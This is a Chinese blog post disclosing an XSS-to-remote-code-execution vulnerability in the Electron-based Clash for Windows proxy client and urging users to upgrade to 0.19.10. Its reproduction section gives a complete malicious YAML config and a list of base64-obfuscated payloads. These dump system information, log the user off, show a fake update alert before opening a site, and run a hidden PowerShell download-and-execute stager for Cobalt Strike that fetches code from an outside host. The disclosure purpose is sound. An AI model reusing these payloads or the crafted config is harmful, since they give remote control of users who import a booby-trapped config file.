clash for windows XSS漏洞导致远程代码执行
- 2月23日,网友@Anthem-whisper通过github Issues向CFW作者提交了可导致远程代码执行的XSS漏洞
- 2月25日,软件作者加急修复更新了一个版本0.19.9
- 但是0.19.9版本并未完全修复漏洞,于是同一日作者又发布了最新的修复版0.19.10
希望所有使用CFW的用户尽快升级到该版本并立即停用之前的版本,该漏洞存在于之前所有的CFW版本,考虑到CFW用户的基数,影响范围可以说是非常广了。以下简要介绍该漏洞形成的原因,具体的漏洞恶意利用以及通过该漏洞导致植入木马病毒被远程控制我在Youtube发布了详细的视频演示,感兴趣的可以去看看。
什么是XSS
XSS中文译为跨站脚本(Cross Site Scripting),简单来讲就是不应该执行脚本代码的地方被插入脚本代码由于安全过滤不严谨导致代码被执行,建议直接在网上搜索,我就不过多解释了,打开这个页面的时候你应该看到了弹窗,这是我在文章中插入了一段JS代码,这就可以理解为一个XSS注入,当然这个是我主动添加的,只有普通权限的你是无法在我的博客添加类似的JS脚本的,如果可以则说明我的网站存在安全隐患
CFW为什么会出现XSS漏洞
XSS漏洞一般都是存在于我们平时浏览的网页上,但是CFW是使用Electron
框架开发的软件,这是一种可以使用 JavaScript,HTML 和 CSS 构建跨平台的桌面应用程序的框架,而我们平时浏览的网页也是由JavaScript,HTML 和 CSS组成的
可以简单理解为CFW软件就是一个浏览器,然后通过JavaScript,HTML 和 CSS的渲染生成了我们所看到的CFW界面本身。
XSS是通过“精心构建”的JavaScript
代码插入到浏览器页面中,达到指定的目的。向网页中插入js代码可以在留言板、评论区等交互处,如果该网站的防护不到位,那么就有可能存在XSS漏洞
而CFW存在交互的地方就是导入的clash配置文件,通过往clash配置文件中插入“精心构建”的js代码,当CFW导入该配置文件后,会对其进行解析处理并渲染页面,将节点列表呈现在我们面前,但是由于没有对外部导入的clash配置文件进行安全检测并将非法字符转义处理,导致那段插入的js代码被执行,于是XSS漏洞就产生了。
如果只是普通的浏览器页面存在XSS漏洞对我们计算机的危害还没有那么大,因为普通网页的执行权限并不能对电脑本地的文件进行主动读写,但通过Electron
开发的CFW就不一样了,他可以直接读写电脑的文件,并且可以执行相关系统函数,导致危害性扩大。
漏洞复现
1.将以下配置文件信息保存为a.yaml
port: 7890
socks-port: 7891
allow-lan: true
mode: Rule
log-level: info
external-controller: :9090
proxies:
- name: a
type: socks5
server: 127.0.0.1
port: "17938"
skip-cert-verify: true
proxy-groups:
- name: <img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>
type: select
proxies:
- a
2.将a.yaml拖入CFW配置列表窗口并选中该配置文件
3.将界面切换到Proxies,如果你使用的版本低于0.19.9,则会看到电脑弹出了计算器
Youtube演示的XSS注入代码
弹出计算器
<img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>
弹出ifconfig /all
<img src=x onerror='eval(new Buffer(`cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ2lwY29uZmlnIC9hbGwnLChlcnJvciwgc3Rkb3V0LCBzdGRlcnIpPT57YWxlcnQoYHN0ZG91dDogJHtzdGRvdXR9YCk7fSk7`,`base64`).toString())'>
注销电脑
<img src=x onerror='eval(new Buffer(`cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ2xvZ29mZicsKGVycm9yLCBzdGRvdXQsIHN0ZGVycik9PnthbGVydChgc3Rkb3V0OiAke3N0ZG91dH1gKTt9KTs`,`base64`).toString())'>
弹出网址
<img src=x onerror='alert("软件需要更新");eval(new Buffer(`cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ2V4cGxvcmVyIGh0dHBzOi8vYnVsaWFuZ2xpbi5jb20nKTs`,`base64`).toString())'>
远控木马上线(需配合Cobalt Strike使用)
<img src=x onerror='eval(new Buffer(`cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ3Bvd2Vyc2hlbGwuZXhlIC1ub3AgLXcgaGlkZGVuIC1jICJJRVggKChuZXctb2JqZWN0IG5ldC53ZWJjbGllbnQpLmRvd25sb2Fkc3RyaW5nKFwnaHR0cDovLzE5Mi4xNjguMS4zNTo4MC9hXCcpKSInKTs`,`base64`).toString())'>
后记
漏洞无处不在,没发现并不代表没有,可以看到CFW的这个漏洞潜伏了非常久,在被公布之前的版本都存在这个漏洞,而且隐藏的也不深,那么之前有没有人利用过这个漏洞我们不得而知,这也给大家和开发人员敲响了警钟,需要开发者能加强对软件本身的安全检测,也需要我们普通使用者能提高网络安全意识